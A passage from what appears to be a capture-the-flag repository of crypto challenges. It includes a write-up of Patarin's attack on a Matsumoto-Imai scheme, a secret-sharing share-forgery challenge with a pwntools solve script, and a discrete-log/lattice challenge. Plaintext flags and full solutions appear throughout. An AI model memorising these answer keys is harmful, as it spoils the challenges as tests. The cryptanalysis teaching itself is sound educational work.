"\n", "- [Jacques Patarin - Cryptanalysis of the Matsumoto and Imai Public KeyScheme of Eurocrypt'88](https://link.springer.com/content/pdf/10.1007%2F3-540-44750-4.pdf)\n", "- [Adam Janovsky - Algebraic cryptanalysis of Hidden Field Equations family](https://is.muni.cz/th/rwbym/bthesis.pdf)\n", "- [Nicolas T. Courtois - The security of Hidden Field Equations](http://www.minrank.org/hfesecsl.pdf)" ] }, { "cell_type": "code", "execution_count": null, "id": "885c8e8a", "metadata": {}, "outputs": [], "source": [] } ], "metadata": { "kernelspec": { "display_name": "Python 3 (ipykernel)", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.9.6" } }, "nbformat": 4, "nbformat_minor": 5 } ================================================ FILE: crypto/substitution-cipher-iii/solve/writeup.md ================================================ # Challenge Overview This challenge is a sequel to "Substitution Cipher II", though in terms of difficulty, it is a large step up. The basis of the challenge is Patarin's famous attack (though other attacks may work) on the Matsumoto-Imai cryptosystem which was hinted towards by the bold **MI** in the challenge's description (one could easily find useful resources online by searching "MI cryptosystem"). The large public key size is also a trait of multivariate public key cryptosystems which some people may have recognised. Like with the other two substitution cipher challenges, we are given the code which has been used to encrypt the flag, as well as the ciphertext. In this challenge, we are also given a public key. ## Matsumoto-Imai Cryptosystem In this section we give a rough description of the Matsumoto-Imai-like cryptosystem as presented in the challenge. There are some differences from the original cryptosystem, so to hopefully make it easier to follow, we also draw comparisons between the mathematical notation and the handout code. The general idea is that a composition of certain transformations is difficult to invert without knowledge of the individual transformations that make it up; so a private key is made up of some invertible transformations, and the corresponding public key is their composition. Additionally, solving a set of multivariate (even quadratic) polynomial equations over a finite field in general is proven to be NP-complete, so one _shouldn't_ be able to easily recover the plaintext from a given ciphertext and the public key alone. ### Parameters To set the scene, we choose parameters $q$ and $n$ (in the challenge $q = 2$ and $n = 80$) and define some algebraic objects to work with: $$ \begin{aligned} K &= \mathbb{F}_q[x_1, \ldots, x_n] \\ E &= K[t]/(i(t)) \\ L &= E[x] \\ A &= \mathrm{Aff}(n, K) \end{aligned} $$ where $i(t)$ is an arbitrary degree $n$ irreducible polynomial. In Sage, we need to write a bit more boilerplate to achieve this: ```py q = 2 F = GF(q) K = BooleanPolynomialRing(n, 'x') R. = PolynomialRing(K) i = GF(q)[t].irreducible_element(n) I = Ideal(R(i)) I.reduce = lambda f: f % i # dirty sage hack E. = PolynomialRing(K, t).quo(I) L. = PolynomialRing(E) A = AffineGroup(n, K) ``` - [`BooleanPolynomialRing`](https://doc.sagemath.org/html/en/reference/polynomial_rings/sage/rings/polynomial/pbori/pbori.html) is a more efficient implementation of boolean polynomials; in most cases it can be used as a clean replacement for `GF(2)[x1, ..., xn]`. - As for the `I.reduce = ...` line, this should probably not need to be done but I was having difficulties getting Sage to properly reduce elements of $E$ modulo $i(t)$ and this seemed like the only way to fix it. - The purpose of $L$ is to define polynomials whose variables are in $E$ (which we'll do next). - $A$ is defined so that we can easily work with affine transformations. ### Private Key Next, we'll generate the private key. We choose random $S, T \in A$ and $P = r x^{q + 1} \in L$ where $r \in E$ is randomly chosen. (Note that the construction of $P$ here is not in its most general form, and that this particular choice of $P$ is potentially weaker than other choices). In Sage, we write: ```py S = A(GL(n, F).random_element(), random_vector(F, n), check=False) r = sum(randint(0, 1) * tbar^i for i in range(n)) P = r * x^(q + 1) T = A(GL(n, F).random_element(), random_vector(F, n), check=False) ``` `A.random_element()` wasn't working for some reason, so we simply generate a random invertible matrix and a random vector with elements in $\mathbb{F}_q$ which is enough to represent an affine transformation. ### Public Key To derive the public key $R$ from the private key, we simply take the composition $R = T \circ P \circ S$. Actually, that's not entirely correct but it captures the general idea. To be more explicit, $S$ and $T$ are affine transformations that map elements of $K^n$ to elements of $K^n$, whereas $P$ is a function that takes an element in $E$ and outputs an element in $E$. The way we glue together these components of different "types" is by introducing an extra function that converts between the two types; there is a natural bijection between $K^n$ and $E$, so we define: $$ \begin{aligned} \varphi : K^n &\rightarrow E \\ (v_0, v_1, \ldots, v_{n-1}) &\mapsto v_0 + v_1 t + \cdots + v_{n-1} t^{n-1} \end{aligned} $$ So more accurately, we take the public key to be $R = T \circ \varphi^{-1} \circ P \circ \varphi \circ S$. $R$ itself can be represented by $n$ multivariate polynomials $r_1, r_2, \ldots, r_n$; these are what will be used for encryption. In Sage, we can write this concisely as: ```py B = S(K.gens()) * vector([tbar^i for i in range(n)]) Q = P(B) R = T(Q.lift().coefficients()) ``` Since $S$ and $T$ are elements of $A$, we can perform the transformation they represent with `S(x)` and `T(x)` respectively, where `x` is an element of $K^n$. Multiplication by the vector $(1, t, \ldots, t^{n-1})$ is equivalent to the conversion map $\varphi$, and taking the coefficients of an element in $E$ is equivalent to $\varphi^{-1}$. The reason for the `.lift()` is to consider `Q` as an element of $K[t]$ (as opposed to an element of $E$) since `.coefficients()` seems to be not implemented for this quotient ring. ### Encryption Encryption is easy but there is a slight caveat that might be confusing. The public polynomials $r_i : K^n \rightarrow K$ map elements of $K^n$ to an element of $K$. We defined $K$ to be a boolean polynomial ring, but it should be noted that $\mathbb{F}_q$ is a subset of $K$, and that $\mathbb{F}_q^n$ is a subset of $K^n$. When we encrypt messages, we are really only concerned with the subset $\mathbb{F}_q$ and not with other elements of $K$. (This is just for the reason that working with bits is easier; there shouldn't be any issues with encoding messages using other elements in $K$) To encrypt a message, we first encode the message as an element $m$ of $\mathbb{F}_q^n$ and compute $(r_1(m), r_2(m), \ldots, r_n(m))$. where $r_i$ are the public polynomials. Since each of the $r_i$ sends elements of $\mathbb{F}_q^n$ to an element in $\mathbb{F}_q$, the resulting ciphertext is an element of $\mathbb{F}_q^n \subset K^n$. # Solution We are given nothing but the public key and the ciphertexts. We could attempt to recover the private key, but it isn't necessary. We will follow Patarin's attack from Crypto'95 which allows us to recover the plaintext for any given ciphertext. The attack relies on the fact that maps $f : E \rightarrow E$ of the form $x \mapsto x^{q^k}$ are linear for any integer $k$. By this, we mean that if $z = z_0 + z_1 t + \cdots + z_{n-1} t^{n-1} \in E$, then $f(z) = z_0' + z_1' t + \cdots + z_{n-1}' t^{n-1}$ is such that $z_i' = f_i(z_0, \ldots, z_{n-1})$ with $\deg f_i = 1$. In words; this says that the coefficients of $f(z)$ can be written as a linear combination of the coefficients of $z$. I couldn't find a proof for this, (maybe because it's supposed to be obvious, but it certainly wasn't obvious to me), so here is my (possibly wrong) attempt at a justification (which I think might actually only work for $q = 2$): Define $f : E \rightarrow E$ as $f(x) = x^{q^k}$ for any integer $k$. Let $z = z_0 + z_1 t + \cdots + z_{n-1} t^{n-1} \in E$. Then $$ \begin{aligned} f(z) &= (z_0 + z_1 t + \cdots + z_{n-1} t^{n-1})^{q^k} \\ &= z_0^{q^k} + (z_1 t)^{q^k} + \cdots + (z_{n-1} t^{n-1})^{q^k} \quad \text{since } \mathrm{char}(E) = q \\ &= z_0 + z_1 t^{q^k} + \cdots + z_{n-1} t^{(n-1)q^k} \quad \text{since } x = x^q \text{ for all } x \in K \end{aligned} $$ It should now follow that, after being reduced modulo the irreducible polynomial $i(t)$, the coefficients of $f(z)$ are linear combinations of the $z_i$. Combined with some other clever insights, this eventually leads to a linear expression relating all plaintext and ciphertext pairs as we will soon see. ## Finding the Relation This is the core of the attack. To begin, recall that a plaintext message $x \in K^n$ is encrypted by computing its ciphertext $y = (T \circ \varphi^{-1} \circ P \circ \varphi \circ S)(x) \in K^n$. Let $a = \varphi(S(x))$ and $b = \varphi(T^{-1}(y))$. Note that $a, b \in E$ and furthermore that $b = P(a)$. So we have $$ b = ra^{q + 1} $$ Now, applying $g : E \rightarrow E, x \mapsto x^{q-1}$ to both sides of the equation, we get $$ \begin{aligned} g(b) &= g(ra^{q+1}) \\ b^{q-1} &= r^{q-1} a^{q^2 - 1} \end{aligned} $$ Multiplying both sides by $ab$, we get $$ ab^q = r^{q-1} a^{q^2} b \tag{1} $$ By the definition of $a$ and $b$, we have $$ a = c_1x + c_2 \qquad b = c_3 y + c_4 $$ where the $c_i$ are elements of $E$ which we do not particularly care about. This follows because $a$ and $b$ are simply affine transformations of $x$ and $y$ respectively. Combining this with the fact that the maps $b \mapsto b^q$ and $a \mapsto a^{q^2}$ are linear maps, equation $(1)$ effectively gives us an equation relating $x$ and $y$ where $x$, $y$ and $xy$ appear to a power of no greater than $1$. So, if we let $x = (x_0, x_1, \ldots, x_{n-1})$ and $y = (y_0, y_1, \ldots, y_{n-1})$, then the information given by equation $(1)$ can be rewritten as: $$ \sum_{i=0}^{n-1} \sum_{j=0}^{n-1} \gamma_{i, j} x_i y_j + \sum_{i=0}^{n-1} \alpha_i x_i + \sum_{j=0}^{n-1} \beta_j y_j + \delta = 0 \tag{2} $$ And the amazing thing about this relation is that it holds for _all_ plaintext/ciphertext pairs $(x, y)$ since we made no assumptions about them to begin with! That means it holds for the flag and the ciphertext we've been given too :) ## Recovering the Constants Equation $(2)$ gives us a relation that holds for all plaintext/ciphertext pairs, but we don't know the $\gamma_{i, j}, \alpha_i, \beta_j$ and $\delta$. Fortunately, since encryption uses the public key (which we have), we can generate our own plaintexts and encrypt them to get valid plaintext/ciphertext pairs. With a set of plaintext/ciphertext pairs, we can view equation $(2)$ as a system of linear equations in the unknowns $\gamma_{i, j}, \alpha_i, \beta_j$ and $\delta$ and use linear algebra techniques to solve for them. There are $n^2 + n + n + 1 = (n+1)^2$ unknowns, so we'll need $(n+1)^2$ plaintext/ciphertext pairs to successfully recover the constants. Generating the plaintext/ciphertext pairs may take a while (though, not _that_ long if you're patient), so an easy optimisation we can do is choose sparse plaintext vectors; that is, plaintexts which have a lot of zero bits. Doing this speeds up polynomial evaluation which is the most expensive operation for encryption. ## Recovering the Flag The hard work is mostly done. If we have the relation and the constants, then to recover a plaintext given a ciphertext all we need to do is plug in the $y_j$ values, and solve for the $x_i$ values. Again, this is done using linear algebra techniques, but in this case instead of solving a system of linear equations in the unknowns $\gamma_{i, j}, \alpha_i, \beta_j$ and $\delta$, we solve the system for the unknowns $x_0, x_1, \ldots, x_{n-1}$. # References/Extra Reading - [Jacques Patarin - Cryptanalysis of the Matsumoto and Imai Public KeyScheme of Eurocrypt'88](https://link.springer.com/content/pdf/10.1007%2F3-540-44750-4.pdf) - [Adam Janovsky - Algebraic cryptanalysis of Hidden Field Equations family](https://is.muni.cz/th/rwbym/bthesis.pdf) - [Nicolas T. Courtois - The security of Hidden Field Equations](http://www.minrank.org/hfesecsl.pdf) ================================================ FILE: crypto/treasure/Dockerfile ================================================ FROM ghcr.io/downunderctf/docker-vendor/nsjail:ubuntu-21.04 RUN pip install pycryptodome COPY ./challenge/flag.txt /home/ctf/chal/ COPY ./challenge/secret.py /home/ctf/chal/ COPY ./challenge/treasure.py /home/ctf/chal/pwn ================================================ FILE: crypto/treasure/README.md ================================================ # treasure **Category:** crypto **Difficulty:** easy **Author:** joseph#8210 You and two friends have spent the past year playing an ARG that promises valuable treasures to the first team to find three secret shares scattered around the world. At long last, you have found all three and are ready to combine the shares to figure out where the treasure is. Of course, being the greedy individual you are, you plan to use your cryptography skills to deceive your friends into thinking that the treasure is in the middle of no where... **Attached files:** - ./challenge/treasure.py (sha256: f36340e2be0a3bf91d3831a1801b828ebe59b77f8472dcb296ca6e8d7bb3dd7a) ================================================ FILE: crypto/treasure/challenge/flag.txt ================================================ DUCTF{m4yb3_th3_r34L_tr34sur3_w4s_th3_fr13nDs_w3_m4d3_al0ng_Th3_W4y.......} ================================================ FILE: crypto/treasure/challenge/secret.py ================================================ FLAG = open('./flag.txt', 'r').read().strip() FLAG_MSG = \ f''' You travel to the exact coordinates that you found and notice something shining in the corner of your eye. It\'s a treasure chest! You open it and in a completely unexpected turn of events, it\'s empty! Etched at the bottom of the hollow chest, you make out some writing. It reads: {FLAG}''' REAL_COORDS = 5756627544102572649201219381096443309301530404084814366157678459246004007288774904822314549 ================================================ FILE: crypto/treasure/challenge/treasure.py ================================================ #!/usr/bin/python3 import re from Crypto.Util.number import long_to_bytes from Crypto.Random import random from secret import REAL_COORDS, FLAG_MSG FAKE_COORDS = 5754622710042474278449745314387128858128432138153608237186776198754180710586599008803960884 p = 13318541149847924181059947781626944578116183244453569385428199356433634355570023190293317369383937332224209312035684840187128538690152423242800697049469987 def create_shares(secret): r1 = random.randint(1, p - 1) r2 = random.randint(1, p - 1) s1 = r1*r2*secret % p s2 = r1*r1*r2*secret % p s3 = r1*r2*r2*secret % p return [s1, s2, s3] def reveal_secret(shares): s1, s2, s3 = shares secret = pow(s1, 3, p) * pow(s2*s3, -1, p) % p return secret def run_combiner(shares): try: your_share = int(input('Enter your share: ')) return reveal_secret([your_share, shares[1], shares[2]]) except: print('Invalid share') exit() def is_coords(s): try: return re.match(r'-?\d+\.\d+?, -?\d+\.\d+', long_to_bytes(s).decode()) except: return False def main(): shares = create_shares(REAL_COORDS) print(f'Your share is: {shares[0]}') print(f'Your two friends input their shares into the combiner and excitedly wait for you to do the same...') secret_coords = run_combiner(shares) print(f'The secret is revealed: {secret_coords}') if not is_coords(secret_coords): print('"Hey those don\'t look like coordinates!"') print('Your friends grow a bit suspicious, but you manage to convince them that you just entered a digit wrong. You decide to try again...') else: print('"Let\'s go get the treasure!!"') print('Your friends run off to the revealed location to look for the treasure...') exit() secret_coords = run_combiner(shares) if not is_coords(secret_coords): print('"This is way too sus!!"') exit() if secret_coords == FAKE_COORDS: print('You\'ve successfully deceived your friends!') try: real_coords = int(input('Now enter the real coords: ')) if real_coords == REAL_COORDS: print(FLAG_MSG) else: print('Incorrect!') except: print('Incorrect!') else: print('You are a terrible trickster!') if __name__ == '__main__': main() ================================================ FILE: crypto/treasure/challenge.yml ================================================ version: "0.1" id: treasure name: treasure category: crypto description: > You and two friends have spent the past year playing an ARG that promises valuable treasures to the first team to find three secret shares scattered around the world. At long last, you have found all three and are ready to combine the shares to figure out where the treasure is. Of course, being the greedy individual you are, you plan to use your cryptography skills to deceive your friends into thinking that the treasure is in the middle of no where... Author: joseph#8210 connection_info: nc ${host} ${port} tags: - easy files: - ./challenge/treasure.py flags: - DUCTF{m4yb3_th3_r34L_tr34sur3_w4s_th3_fr13nDs_w3_m4d3_al0ng_Th3_W4y.......} ================================================ FILE: crypto/treasure/docker-compose.yml ================================================ version: '3' services: treasure: # challenge name build: . ports: - "1337:1337" # local:container privileged: true ================================================ FILE: crypto/treasure/solve/solve.sage ================================================ import os os.environ['PWNLIB_NOTERM'] = 'True' from pwn import * from parse import parse FAKE_COORDS = 5754622710042474278449745314387128858128432138153608237186776198754180710586599008803960884 p = 13318541149847924181059947781626944578116183244453569385428199356433634355570023190293317369383937332224209312035684840187128538690152423242800697049469987 F = Zmod(p) conn = remote('0.0.0.0', 1337) s3 = list(parse('Your share is: {:d}\n', conn.recvline().decode()))[0] conn.sendlineafter(': ', '1') s2s3_inv = list(parse('The secret is revealed: {:d}\n', conn.recvline().decode()))[0] fake_share = F(FAKE_COORDS / s2s3_inv).nth_root(3) conn.sendlineafter(': ', str(fake_share)) real_coords = pow(s3, 3, p) * s2s3_inv conn.sendlineafter(': ', str(real_coords)) print(conn.recv().decode()) ================================================ FILE: crypto/treasure/solve/writeup.ipynb ================================================ { "cells": [ { "cell_type": "markdown", "id": "e9ef0eb1", "metadata": {}, "source": [ "# Challenge Overview\n", "\n", "We are tasked with cheating as a participant of a secret sharing scheme. A secret value is split into three shares and we are given one of them. We are able to run the share combiner once and we will be given the output for it. Then, we must send a share to the combiner again to forge a specific output, and finally, we must send the server the real secret.\n", "\n", "## Secret Sharing Scheme\n", "\n", "The secret sharing scheme in the challenge is very simple. Notably, it is also not _verifiable_, so it is relatively easy to cheat.\n", "\n", "The scheme splits a secret into three shares and requires all three to recover the secret. Let $p$ be a prime number and let $s$ be the secret. The dealer chooses two random numbers $1 < r_1, r_2 < p$ and computes the three shares:\n", "\n", "$$\n", "\\begin{aligned}\n", " s_1 &\\equiv r_1 r_2 s \\pmod p \\\\\n", " s_2 &\\equiv r_1^2 r_2 s \\pmod p \\\\\n", " s_3 &\\equiv r_1 r_2^2 s \\pmod p\n", "\\end{aligned}\n", "$$\n", "\n", "To combine three shares $(s_1, s_2, s_3)$, the combiner computes\n", "\n", "$$\n", "s \\equiv \\frac{s_1^3}{s_2 s_3} \\pmod p\n", "$$\n", "\n", "(you should check for yourself that this computes the correct secret if the shares are correct!). Note that when we divide by $s_2 s_3$ here, we are actually multiplying by the [modular multiplicative inverse](https://en.wikipedia.org/wiki/Modular_multiplicative_inverse) of $s_2 s_3$ modulo $p$.\n", "\n", "## Cheating\n", "\n", "We control $s_1$, so how can we use this to both reveal the secret to only us, and also to forge a fake secret $s'$?\n", "\n", "### Faking a Secret\n", "\n", "The first time we send our shares to the combiner, we are able to send almost anything and somehow convince our friends everything is fine. We use this to gain some information that will help us to fake a secret.\n", "\n", "Let's consider what happens if we send $s_1 = 1$ as our share to the combiner. The combiner will compute and give us\n", "\n", "$$\n", "\\frac{1}{s_2 s_3} \\pmod p\n", "$$\n", "\n", "This is useful to us, because if we want to send another share $s_1'$ to the combiner such that the revealed secret is $s'$, all we need to do is compute $s_1'$ as follows:\n", "\n", "$$\n", "\\begin{aligned}\n", " s' &\\equiv \\frac{(s_1')^3}{s_2 s_3} \\pmod p \\\\\n", " \\implies (s_1')^3 &\\equiv s' s_2 s_3 \\pmod p \\\\\n", " \\implies s_1' &\\equiv (s' s_2 s_3)^{\\frac{1}{3}} \\pmod p\n", "\\end{aligned}\n", "$$\n", "\n", "Note that here, $(s' s_2 s_3)^{\\frac{1}{3}}$ means the modular cube root of $s' s_2 s_3$ modulo $p$, that is, a number which equals to $s' s_2 s_3$ when cubed and reduced modulo $p$. There are algorithms online that may help to compute this, and SageMath also has inbuilt functionalities for this.\n", "\n", "### Revealing the Real Secret\n", "\n", "We already have everything we need to reveal the real secret. We have $\\frac{1}{s_2 s_3} \\pmod p$ from the first time running the combiner, so all we need to do is use our real share and compute\n", "\n", "$$\n", "s \\equiv \\frac{s_1^3}{s_2 s_3} \\pmod p\n", "$$\n", "\n", "Sending this to the server gets us the flag :)\n" ] }, { "cell_type": "code", "execution_count": null, "id": "f90613ae", "metadata": {}, "outputs": [], "source": [] } ], "metadata": { "kernelspec": { "display_name": "Python 3 (ipykernel)", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.9.6" } }, "nbformat": 4, "nbformat_minor": 5 } ================================================ FILE: crypto/treasure/solve/writeup.md ================================================ # Challenge Overview We are tasked with cheating as a participant of a secret sharing scheme. A secret value is split into three shares and we are given one of them. We are able to run the share combiner once and we will be given the output for it. Then, we must send a share to the combiner again to forge a specific output, and finally, we must send the server the real secret. ## Secret Sharing Scheme The secret sharing scheme in the challenge is very simple. Notably, it is also not _verifiable_, so it is relatively easy to cheat. The scheme splits a secret into three shares and requires all three to recover the secret. Let $p$ be a prime number and let $s$ be the secret. The dealer chooses two random numbers $1 < r_1, r_2 < p$ and computes the three shares: $$ \begin{aligned} s_1 &\equiv r_1 r_2 s \pmod p \\ s_2 &\equiv r_1^2 r_2 s \pmod p \\ s_3 &\equiv r_1 r_2^2 s \pmod p \end{aligned} $$ To combine three shares $(s_1, s_2, s_3)$, the combiner computes $$ s \equiv \frac{s_1^3}{s_2 s_3} \pmod p $$ (you should check for yourself that this computes the correct secret if the shares are correct!). Note that when we divide by $s_2 s_3$ here, we are actually multiplying by the [modular multiplicative inverse](https://en.wikipedia.org/wiki/Modular_multiplicative_inverse) of $s_2 s_3$ modulo $p$. ## Cheating We control $s_1$, so how can we use this to both reveal the secret to only us, and also to forge a fake secret $s'$? ### Faking a Secret The first time we send our shares to the combiner, we are able to send almost anything and somehow convince our friends everything is fine. We use this to gain some information that will help us to fake a secret. Let's consider what happens if we send $s_1 = 1$ as our share to the combiner. The combiner will compute and give us $$ \frac{1}{s_2 s_3} \pmod p $$ This is useful to us, because if we want to send another share $s_1'$ to the combiner such that the revealed secret is $s'$, all we need to do is compute $s_1'$ as follows: $$ \begin{aligned} s' &\equiv \frac{(s_1')^3}{s_2 s_3} \pmod p \\ \implies (s_1')^3 &\equiv s' s_2 s_3 \pmod p \\ \implies s_1' &\equiv (s' s_2 s_3)^{\frac{1}{3}} \pmod p \end{aligned} $$ Note that here, $(s' s_2 s_3)^{\frac{1}{3}}$ means the modular cube root of $s' s_2 s_3$ modulo $p$, that is, a number which equals to $s' s_2 s_3$ when cubed and reduced modulo $p$. There are algorithms online that may help to compute this, and SageMath also has inbuilt functionalities for this. ### Revealing the Real Secret We already have everything we need to reveal the real secret. We have $\frac{1}{s_2 s_3} \pmod p$ from the first time running the combiner, so all we need to do is use our real share and compute $$ s \equiv \frac{s_1^3}{s_2 s_3} \pmod p $$ Sending this to the server gets us the flag :) ================================================ FILE: crypto/yadlp/README.md ================================================ # yadlp **Category:** crypto **Difficulty:** hard **Author:** joseph#8210 Yet another discrete logarithm problem challenge... **Attached files:** - ./challenge/yadlp.sage (sha256: 182b7194d38e2c5e4a9c8de5a14d47bd49784c38be40c6137dfab2474d0d849c) - ./challenge/output.txt (sha256: 08bb54d0fa83d654fc77f29742b73deec53310fda8a452c4181bae2677133095) ================================================ FILE: crypto/yadlp/challenge/flag.txt ================================================ DUCTF{a_1337_hyp3rb0la_m33ts_th3_mult1pl3_DLP!!} ================================================ FILE: crypto/yadlp/challenge/output.txt ================================================ D = 13337 p = 17568142778435152362975498611159042138909402642078949814477371651322179417849164549408357464774644525711780515232117470272550677945089719112177956836141583 G = [(8249149405495350491346934933585109414510787432598250096114687570379053133508711862485128035174547571919256235441699899388417666835599315963507480727674285, 10151966144947987666795899106244951506314545969111450078363915090201899029695981970354886015549281568762501638756950135017679627954071369058817947706039379), (10148658254415475588279956574772196898575718154643967163626694400363009168529645860280959810873028393970853643723425023678857408220330929116526467295542507, 3332426625916817700349475905733631656792492189677766534230576987725484499618918928882667666640821403823057239790395654518704427126712280655564669757208129), (1839326681086939925214853980855626023120414606039474419455499625885357274275815189399880356995376514021329118829062071144818562457268892324773839713533977, 17502649671831125396398431215302241914145169143474764941575812028922929277656849105757332346628455059539582448544435155655055157181361580680672298566085040), (3165955958968203879237344349962533642598441044481692770147807839372942715856047580766073222297692574025922260374409920417665600069665162502514403188432579, 9382092026348588885644924948782239369051861025018411316856012639637274661831713783735305424388410778778529413114167923397187236739639802371814632949741663), (8500294063291124527108623281980255870507549734362604259645984044370658620385351338711051998886026260657132944353675335178871934798200163035190278483491633, 7641198814027309580920446604109217188703337221305342467525089149977505415741300885194767452232679123441594451455097533000754553745051816419202345186703390), (12352685673550986453697035560006632628194788902921398545668828437339873544223895997440585227838919968929669738393535610103382084842900404005432007637193943, 2453949984320580417885537763124479618094084392655766673219227195157341323190069350175423869908524758510177197973709821798974003013596311361995273762475822)] c = (5388567167658786935158413401674168420144429277172064721472662913563775670320298461949979362402157764272762755236320989018989446360740720072488623102776015, 7420389277336940268114831002964626027945367662485419944369852006741899961686908509331719915794976159062761271182318814519641566938538911041229521838799714) ================================================ FILE: crypto/yadlp/challenge/yadlp.sage ================================================ def G_add(A, B): x1, y1 = A x2, y2 = B return ((x1*x2 + D*y1*y2) % p, (x1*y2 + x2*y1 + 2*y1*y2) % p) def G_mul(A, k): out = (1, 0) while k > 0: if k & 1: out = G_add(out, A) A = G_add(A, A) k >>= 1 return out def rand_element(): while True: x = randint(1, p-1) d = x^2 * (D + 1) - D if (x & 1 == d & 1) and kronecker(d, p) == 1: y = (x + sqrt(Zmod(p)(d))) * inverse_mod(D, p) % p return (x, y) D = 13337 p = 17568142778435152362975498611159042138909402642078949814477371651322179417849164549408357464774644525711780515232117470272550677945089719112177956836141583 assert p.nbits() >= 512 assert ((p-1)//2).is_prime() # safe prime FLAG = open('flag.txt', 'rb').read().strip() assert len(FLAG) % 8 == 0 M = [int.from_bytes(FLAG[i:i+8], 'big') for i in range(0, len(FLAG), 8)] G = [rand_element() for _ in M] c = (1, 0) for m, gi in zip(M, G): c = G_add(c, G_mul(gi, m)) print(f'{D = }') print(f'{p = }') print(f'{G = }') print(f'{c = }') ================================================ FILE: crypto/yadlp/challenge.yml ================================================ version: "0.1" id: yadlp name: yadlp category: crypto description: > Yet another discrete logarithm problem challenge... Author: joseph#8210 tags: - hard files: - ./challenge/yadlp.sage - ./challenge/output.txt flags: - DUCTF{a_1337_hyp3rb0la_m33ts_th3_mult1pl3_DLP!!} ================================================ FILE: crypto/yadlp/solve/solve.sage ================================================ from tqdm import tqdm exec(open('../challenge/output.txt').read()) proof.arithmetic(False) F. = GF(p)[] R. = GF(p^2, modulus=x^2 - (D+1)) q = p+1 g = R.zeta(q) def phi(g): x, y = g return (x+y) + y*W print('[!] calculating logs...') L = [discrete_log(phi(gi), g) for gi in tqdm(G)] log_ct = discrete_log(phi(c), g) print('[+] calculating logs done...') m = len(G) C = L + [log_ct, q] M = Matrix.column(ZZ, vector(C)) M = M.augment(Matrix.identity(m+1).stack(vector([0]*(m+1)))) M = M.dense_matrix() B = M.LLL() for r in B: if r[0] == 0: break print('[+] solved SVP:', r) flag = ''.join(int(abs(m)).to_bytes(8, 'big').decode() for m in r[1:-1]) print('[+] flag:', flag) ================================================ FILE: crypto/yadlp/solve/writeup.ipynb ================================================ { "cells": [ { "cell_type": "markdown", "id": "linear-alfred", "metadata": {}, "source": [ "This challenge follows a similar structure to a commonly seen style of crypto CTF challenges that involve solving the discrete logarithm problem in some group other than the usual $(\\mathbb{Z}/p\\mathbb{Z})^\\times$. The general approach is to figure out some information about what the group elements are like, and then try to find an isomorphism from the group to a group where we can easily solve the discrete logarithm problem.\n", "\n", "## Group Structure Part I\n", "\n", "We'll see that the group we are dealing with in the challenge is the set of points on some hyperbola over $\\mathbb{F}_p$. Although the operations defined in the handout code are called \"addition\" and \"multiplication\", it'll be helpful to use multiplication and exponentiation notation. When we say \"elements\", we usually mean points on the hyperbola, which are represented as tuples $(x, y) \\in \\mathbb{F}_p \\times \\mathbb{F}_p$ with addition operation defined as:\n", "\n", "$$\n", "(x_1, y_1) \\cdot (x_2, y_2) = (x_1 x_2 + D y_1 y_2, x_1 y_2 + x_2 y_1 + 2 y_1 y_2)\n", "$$\n", "\n", "The `rand_element` function gives us even more information about elements in this group. In fact, we can use it to get an explicit relation that all elements satisfy. The function first generates a random $x \\in \\mathbb{F}_p$, then computes $y$ as\n", "\n", "$$\n", "y = \\frac{x + \\sqrt{x^2 (D+1) - D}}{D}\n", "$$\n", "\n", "Rearranging, we get\n", "\n", "$$\n", "\\begin{aligned}\n", " (Dy - x)^2 &= x^2(D+1) - D \\\\\n", " \\implies D^2 y^2 - 2Dxy + x^2 &= Dx^2 + x^2 - D \\\\\n", " \\implies Dx^2 + 2Dxy - D^2 y^2 &= D \\\\\n", " \\implies x^2 + 2xy - Dy^2 &\\equiv 1 \\pmod p \\qquad \\text{since $D \\neq 0$}\n", "\\end{aligned}\n", "$$\n", "\n", "It can be checked that the set of solutions to this equation, equipped with addition operation above indeed does form a group. We'll call this group $\\mathcal{H}$.\n", "\n", "Diophantine equations of the form $x^2 - Dy^2 = 1$ are known as Pell equations and are well documented in the literature. We'll see later that the equation we found from the `rand_element` can be written as a Pell equation, and use that for analysing the group even more.\n", "\n", "## Challenge Analysis\n", "\n", "For now we'll take a look at how the flag is hidden and what we'll need to recover it. The 48 byte flag is broken up into 6 blocks of 8 bytes each. These blocks are represented as the integers $m_1, \\ldots, m_6$. Then, for some randomly generated elements $g_1, \\ldots, g_6$, the value $c = g_1^{m_1} \\cdots g_6^{m_6}$ is computed.\n", "\n", "Given $c$ and the $g_i$, the goal is to recover the $m_i$. This is known as the t-multiple discrete logarithm problem, and in this case, we can solve it by solving the discrete logarithm problem in $\\mathcal{H}$, combined with lattice techniques.\n", "\n", "Let $q$ be the order of $\\mathcal{H}$ and let $g$ be a generator of $\\mathcal{H}$ (we will see later that $\\mathcal{H}$ is cyclic). Define the discrete logarithm to the base $g$ as $\\log_g : \\mathcal{H} \\rightarrow \\mathbb{Z}_q$, that, for any $h \\in \\mathcal{H}$, gives us a value $x = \\log_g(h)$ such that $g^x = h$. It can be shown that this map is a homomorphism, so $\\log_g(h_1 h_2) = \\log_g(h_1) + \\log_g(h_2)$. Therefore,\n", "\n", "$$\n", "\\begin{aligned}\n", " \\log_g(c) &= \\log_g(g_1^{m_1} \\cdots g_6^{m_6}) \\\\\n", " \\log_g(c) &= \\log_g(g_1^{m_1}) + \\cdots + \\log_g(g_6^{m_6}) \\\\\n", " \\log_g(c) &= m_1\\log_g(g_1) + \\cdots + m_6 \\log_g(g_6) \\\\\n", "\\end{aligned}\n", "$$\n", "\n", "Since we're working in $\\mathbb{Z}_q$, we can equivalently write\n", "\n", "$$\n", "\\log_g(c) \\equiv m_1\\log_g(g_1) + \\cdots + m_6\\log_g(g_6) \\pmod q\n", "$$\n", "\n", "But since the $m_i$ are relatively small (~62 bits) compared to $q$ (which we will determine later), we can solve for the $m_i$ using lattice techniques. Specifically, consider the lattice generated by the rows of the matrix\n", "\n", "$$\n", "\\begin{bmatrix}\n", " \\log_g(g_1) & 1 \\\\\n", " \\log_g(g_2) & & 1 \\\\\n", " \\vdots & & & \\ddots \\\\\n", " \\log_g(g_6) & & & & 1 \\\\\n", " \\log_g(c) & & & & & 1 \\\\\n", " q\n", "\\end{bmatrix}\n", "$$\n", "\n", "Notice that $m_1$ times the first row, plus $m_2$ times the second row, etc. take $1$ times the seventh row, and an appropriate multiple of the last row, gives the short vector\n", "\n", "$$\n", "(0, 